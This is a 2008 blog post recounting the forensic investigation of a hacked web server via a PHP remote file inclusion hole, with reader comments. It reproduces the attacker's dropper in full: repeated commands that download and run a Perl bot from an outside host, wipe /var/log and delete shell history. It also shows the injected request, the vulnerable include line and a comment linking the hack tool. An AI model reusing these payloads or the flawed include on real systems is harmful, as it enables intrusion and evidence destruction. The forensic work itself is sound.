A tale of searching for a hacker and his supporter, the idiot programmer

March 14, 2008

Some days ago a friend called me, one of his web servers had a spike in the traffic monitoring of the router. Over 2GB in one hour was not normal for this server and he asked me to take a look, which I did and which was the start of a journey. The first command I executed after login was top which reported following:

PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND
17448 www-data 25 0 48580 33m 5876 R 24 2.4 380:07.76 apache2
3117 www-data 25 0 6232 4392 1424 R 23 0.3 932:05.18 perl
3105 www-data 25 0 6232 4240 1272 S 19 0.3 687:54.80 perl
17447 www-data 25 0 44804 30m 5804 R 13 2.2 357:28.33 apache2

that did not look normal. I asked my friend if he is using perl on the webserver. He told me only for awstats but he uses the version which comes with the distribution and should be therefore up to date. When I did take a look with ps aux I could not find the perl process, the process with the same pid as above had the “name” /usr/sbin/apache2 -k start -DSSL, which was also the output of cat /proc/3117/cmdline. I wanted to know who the parent process was so I did following:

ps axo stat,euid,ruid,tty,tpgid,sess,pgrp,ppid,pid,pcpu,comm

Which showed the correct process name but which also showed that init (pid 1) was the was the parent process which could not be possible: Now that looked really bogus and I did a netstat -anp which showed me following:

tcp 0 0 88.xxx.xxx.xxx:57350 194.109.20.90:6666 ESTABLISHED3105/apache2 -k sta

A telnet 194.109.20.90:6666 showed me that this was a normal IRC server from the undernet.org network. Now I was sure that someone hacked the machine of my friend. I started my search for files which the attacker had created with following command:

touch -d "10 march 2008 20:00:00" date_marker
find / -newer date_marker > long_list.txt

I walked with my friend through the results but there were no files which where created by the attacker, so it seams the attacker knew at least some techniques to hide his traces. The apache logfiles didn’t help either, as I didn’t know when the infections took place and via which of the > 40 vhosts (some used by customers to upload there own stuff), which generated many entries even in the error log. I made also sure that no system files had been changed/replaced and I’m quite sure now that the attacker stayed with within the www-data user. So I did a restart of the server and could confirm that that the system was clean again and that I could look how long it would take for a reinfection. It was now already late in the night, as I got called in the evening, and I started a tcpdump on all non standard ports before I went to bed.

On the next day the system was infected again but now I had only 12h hours to cover. I downloaded the tcpdump raw packets file to my notebook and took a look with it with Wireshark. I went looking for port 6665 to 6669 at first and as I guest that the first connection attempt is also the infection time, I knew now the time. I got the time but I also got more – the complete IRC data the bot uses to connect and wait for his master:

IRC network: undernet.org
Channel: #vx.
Channel password: .BushMaster.

A look into the channel showed that only 30 nicks where present in that channel but that more than one operator was there which where searching for new victims in a systematic way as every 10-20 minutes a new nick joint. But this is an other story for an other post (maybe).

I knew now the infection time and found something in the apache error log, just between the log entries:

[Thu Mar 13 04:14:13 2008] [error] [client xxx.xxx.xxx.xxx] File does not exist: /home/xxxxxxxx/robots.txt
[Thu Mar 13 04:18:51 2008] [error] [client xxx.xxx.xxx.xxx] Negotiation: discovered file(s) matching request: xxxxxxxxxxxxx (None could be negotiated).
--04:20:17-- http://www.wolffilm.de/s.txt
=> `s.txt'
Resolving www.wolffilm.de... 217.160.103.90
Connecting to www.wolffilm.de|217.160.103.90|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 104,328 (102K) [text/plain]
0K .......... .......... .......... .......... .......... 49% 1.14 MB/s
50K .......... .......... .......... .......... .......... 98% 3.75 MB/s
100K . 100% 21.89 MB/s
04:20:17 (1.78 MB/s) - `s.txt' saved [104328/104328]

I tried at once to download that file, but it was not there anymore. I searched for the file on the web server it was also not there. I started a search for any other wget entries in the apache error log and did find one before – the original infection.

But what now, the systems was setup in a way that I didn’t have all logfiles in one place and they were also not complete and really usable. And with > 40 vhosts it would take ages so I decided to do a full tcpdump of all traffic which goes to and from the server after a restart to monitor the reinfection. I looked with

ps axo stat,euid,ruid,tty,tpgid,sess,pgrp,ppid,pid,pcpu,comm | grep perl

every some hours to check if a reinfection has already happened, if not I restarted tcpdump to reset the raw packet file. After I came back from the monthly LUGT meeting (linux user group tirol) the system was infected again and I got >6gb of tcpdump trace. But now I knew what to look for, the wget entries. I found them at Thu Mar 13 21:34:42 2008. I used tcpslice to extract the time frame which was interesting for me.

tcpslice -w attack.raw 2008y3m13d21h30m +600 dump-02.raw

After downloading the file onto my poor and old notebook I searched in Wireshark for the same time stamp and I found the break in:

GET /pages.php?content=http://www.flying-swan.de/s? HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: www.xxxxxxx.xxxx
User-Agent: libwww-perl/5.805

which generated following action by the webserver:

GET /s?.php HTTP/1.0
Host: www.flying-swan.de

HTTP/1.1 200 OK
Date: Thu, 13 Mar 2008 20:33:12 GMT
Server: Apache/1.3.34 Ben-SSL/1.55
Last-Modified: Thu, 13 Mar 2008 20:30:15 GMT
ETag: "930958-119a-47d98ed7"
Accept-Ranges: bytes
Content-Length: 4506
Connection: close
Content-Type: text/plain
X-Pad: avoid browser bug

<?
exec("cd /tmp;wget http://www.flying-swan.de/s.txt;perl s.txt;perl s.txt;rm -rf s.txt s.txt*");
exec("cd /tmp;curl -O http://www.flying-swan.de/s.txt;perl s.txt;perl s.txt;rm -rf s.txt s.txt*");
exec("cd /tmp;lwp-download http://www.flying-swan.de/s.txt;perl s.txt;perl s.txt;rm -rf s.txt s.txt*");
exec("cd /tmp;GET http://www.flying-swan.de/s.txt>s.txt;perl s.txt;perl s.txt;rm -rf s.txt s.txt*");
exec("cd /tmp;fetch http://www.flying-swan.de/s.txt>s.txt;perl s.txt;perl s.txt;rm -rf s.txt s.txt*");
exec("cd /tmp;lynx -source http://www.flying-swan.de/s.txt>>s.txt;perl s.txt;perl s.txt;rm -rf s.txt s.txt*");
shell_exec("cd /tmp;wget http://www.flying-swan.de/s.txt;perl s.txt;perl s.txt;rm -rf s.txt s.txt*");
shell_exec("cd /tmp;curl -O http://www.flying-swan.de/s.txt;perl s.txt;perl s.txt;rm -rf s.txt s.txt*");
shell_exec("cd /tmp;lwp-download http://www.flying-swan.de/s.txt;perl s.txt;perl s.txt;rm -rf s.txt s.txt*");
shell_exec("cd /tmp;GET http://www.flying-swan.de/s.txt>s.txt;perl s.txt;perl s.txt;rm -rf s.txt s.txt*");
shell_exec("cd /tmp;fetch http://www.flying-swan.de/s.txt>s.txt;perl s.txt;perl s.txt;rm -rf s.txt s.txt*");
shell_exec("cd /tmp;lynx -source http://www.flying-swan.de/s.txt>>s.txt;perl s.txt;perl s.txt;rm -rf s.txt s.txt*");
system("cd /tmp;wget http://www.flying-swan.de/s.txt;perl s.txt;perl s.txt;rm -rf s.txt s.txt*");
system("cd /tmp;curl -O http://www.flying-swan.de/s.txt;perl s.txt;perl s.txt;rm -rf s.txt s.txt*");
system("cd /tmp;lwp-download http://www.flying-swan.de/s.txt;perl s.txt;perl s.txt;rm -rf s.txt s.txt*");
system("cd /tmp;GET http://www.flying-swan.de/s.txt>s.txt;perl s.txt;perl s.txt;rm -rf s.txt s.txt*");
system("cd /tmp;fetch http://www.flying-swan.de/s.txt>s.txt;perl s.txt;perl s.txt;rm -rf s.txt s.txt*");
system("cd /tmp;lynx -source http://www.flying-swan.de/s.txt>>s.txt;perl s.txt;perl s.txt;rm -rf s.txt s.txt*");
passthru("cd /tmp;wget http://www.flying-swan.de/s.txt;perl s.txt;perl s.txt;rm -rf s.txt s.txt*");
passthru("cd /tmp;curl -O http://www.flying-swan.de/s.txt;perl s.txt;perl s.txt;rm -rf s.txt s.txt*");
passthru("cd /tmp;lwp-download http://www.flying-swan.de/s.txt;perl s.txt;perl s.txt;rm -rf s.txt s.txt*");
passthru("cd /tmp;GET http://www.flying-swan.de/s.txt>s.txt;perl s.txt;perl s.txt;rm -rf s.txt s.txt*");
passthru("cd /tmp;fetch http://www.flying-swan.de/s.txt>s.txt;perl s.txt;perl s.txt;rm -rf s.txt s.txt*");
passthru("cd /tmp;lynx -source http://www.flying-swan.de/s.txt>>s.txt;perl s.txt;perl s.txt;rm -rf s.txt s.txt*");
popen("cd /tmp;wget http://www.flying-swan.de/s.txt;perl s.txt;perl s.txt;rm -rf s.txt s.txt*", "r");
popen("cd /tmp;curl -O http://www.flying-swan.de/s.txt;perl s.txt;perl s.txt;rm -rf s.txt s.txt*", "r");
popen("cd /tmp;lwp-download http://www.flying-swan.de/s.txt;perl s.txt;perl s.txt;rm -rf s.txt s.txt*", "r");
popen("cd /tmp;GET http://www.flying-swan.de/s.txt>s.txt;perl s.txt;perl s.txt;rm -rf s.txt s.txt*", "r");
popen("cd /tmp;fetch http://www.flying-swan.de/s.txt>s.txt;perl s.txt;perl s.txt;rm -rf s.txt s.txt*", "r");
popen("cd /tmp;lynx -source http://www.flying-swan.de/s.txt>>s.txt;perl s.txt;perl s.txt;rm -rf s.txt s.txt*");
proc_open("cd /tmp;wget http://www.flying-swan.de/s.txt;perl s.txt;perl s.txt;rm -rf s.txt s.txt*", "r");
proc_open("cd /tmp;curl -O http://www.flying-swan.de/s.txt;perl s.txt;perl s.txt;rm -rf s.txt s.txt*", "r");
proc_open("cd /tmp;lwp-download http://www.flying-swan.de/s.txt;perl s.txt;perl s.txt;rm -rf s.txt s.txt*", "r");
proc_open("cd /tmp;GET http://www.flying-swan.de/s.txt>s.txt;perl s.txt;perl s.txt;rm -rf s.txt s.txt*", "r");
proc_open("cd /tmp;fetch http://www.flying-swan.de/s.txt>s.txt;perl s.txt;perl s.txt;rm -rf s.txt s.txt*", "r");
proc_open("cd /tmp;lynx -source http://www.flying-swan.de/s.txt>>s.txt;perl s.txt;perl s.txt;rm -rf s.txt s.txt*");
exec("rm -rf /var/log/*>>/dev/null;killall -9 php mech inetd eggdrop httpd");
shell_exec("rm -rf /var/log/*>>/dev/null;killall -9 php mech inetd eggdrop httpd");
system("rm -rf /var/log/*>>/dev/null;killall -9 php mech inetd eggdrop httpd");
passthru("rm -rf /var/log/*>>/dev/null;killall -9 php mech inetd eggdrop httpd");
popen("rm -rf /var/log/*>>/dev/null;killall -9 php mech inetd eggdrop httpd", "r");
proc_open("rm -rf /var/log/*>>/dev/null;killall -9 php mech inetd eggdrop httpd", "r");
unlink("/tmp/sess_e00dd4lbo2ad2758n9fc641e47cd76x9");
unlink("s.txt");
unlink("s.txt*");
unlink(".bash_history");
?>

which than downloaded the perl script I attached here … It is worthwhile a look. After all this work I was curious how the php script looked which as used for gaining access to the server. Lets take a look at the interesting parts of the page.php file:

<!--Fireworks 8 Dreamweaver 8 target. Created Tue Dec 18 21:07:03 GMT+0100 2007--<
....
<td height="21" colspan="2" bgcolor="#C9CACC">   <a href="./">Home</a> | <a href="pages.php?content=info">Information</a> | <a href="pages.php?content=progr">Programm</a> | <a href="pages.php?content=anmeld">Anmeldung</a> </td>

and finally:

<?php include($_GET[content].".php");?>

Argh .. I’m going to kill this idiot programmer … who is that damn stupid still in 2008? I can’t believe it – how can someone like this call himself programmer. I deactivated the whole website and I told my friend that he should send the programmer an invoice for my hours I needed to trace this down to something like this stupid. Thats want I can call only wantonly negligent and I need also to talk to my friend about the security of his web server, but I believe that this was opened due request by the idiot .. ah sorry … programmer.

10 Comments »

RSS feed for comments on this post. TrackBack URI

  1. Awesome article, made me chuckle at the end.
    Well, I guess it’s more of a ran/story than an article, but nonetheless a good job. : p

    Comment by Evilo — March 19, 2008 #

  2. I have exactly the same problem on my server. How did this guy get access?

    Comment by Joar — March 19, 2008 #

  3. with a security hole the programmer put into his code, look at the end of the post.

    Comment by admin — March 19, 2008 #

  4. I dont understand the code. How do I stop it from happening again?

    Comment by Joar — March 19, 2008 #

  5. In my case the problem was the php script which used that function. I deactivated the hompeage and told the programmer to fix his code before it goes online again.

    Comment by admin — March 19, 2008 #

  6. Robert, great article! Thank you for the detailed description which helped me find the tool used to hack my server. Although I first found and closed the whole (public_html dirs), because I have seen it before, it was hard to find the script until I used the find and walked through the long list – that was easy. Then I found the wget download and easily confirmed the source of the attack (using the timestamp with grep from the logs it gave me the exact line :). Then I only had to remove the crontab entry and the script itself from /var/tmp/.b folder.
    The hack tool can still be downloaded at http://members.lycos.co.uk/foryouforyou/for.tgz – I have already filed an abuse report. If you are unable to find it and anyone is interested – I can give it away. I also keep a copy of the running script with all settings.

    Kind regards,
    Bobby

    Comment by Boyan Alexiev — April 23, 2008 #

  7. […] the last 14 days. The only idea I’ve is that the hacker I found at the server of a friend and wrote about it wanted to get even. What counts for this theory is that it is carried out by hacked servers from […]

    Pingback by Robert Penz Blog » UDP Flood DDOS attack against my blog — April 24, 2008 #

  8. […] the DDOS attack against my blog this week , I decided to go to the channel I wrote in my initial hacker post about, as I believed that the most likely attacker is hacker I wrote about. After I joined the […]

    Pingback by Robert Penz Blog » Interview with a professional hacker — April 26, 2008 #

  9. The is the “easiest-to-exploit” mistake a programmer can ever make!
    It should be replaced with a switch- or an if-statement!

    For example:

    if($_GET[content]==”login”) {
    include(“login.php”);
    }
    ..

    Would increase the security very much..

    Comment by clemens — May 24, 2008 #

  10. Hi Robert,

    thanks for the explanation, really helpful – even in 2013.

    I am currently facing an intruder here, no idea how to catch him – but iptables is helpful to block quickly as the ip was static over a while.

    Your friend should be lucky to have you …

    Best regards from Carinthia,
    Gerold

    Comment by Gerold — November 7, 2013 #

Leave a comment

XHTML: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <s> <strike> <strong>

Powered by WordPress
Entries and comments feeds. Valid XHTML and CSS. 36 queries. 0.051 seconds.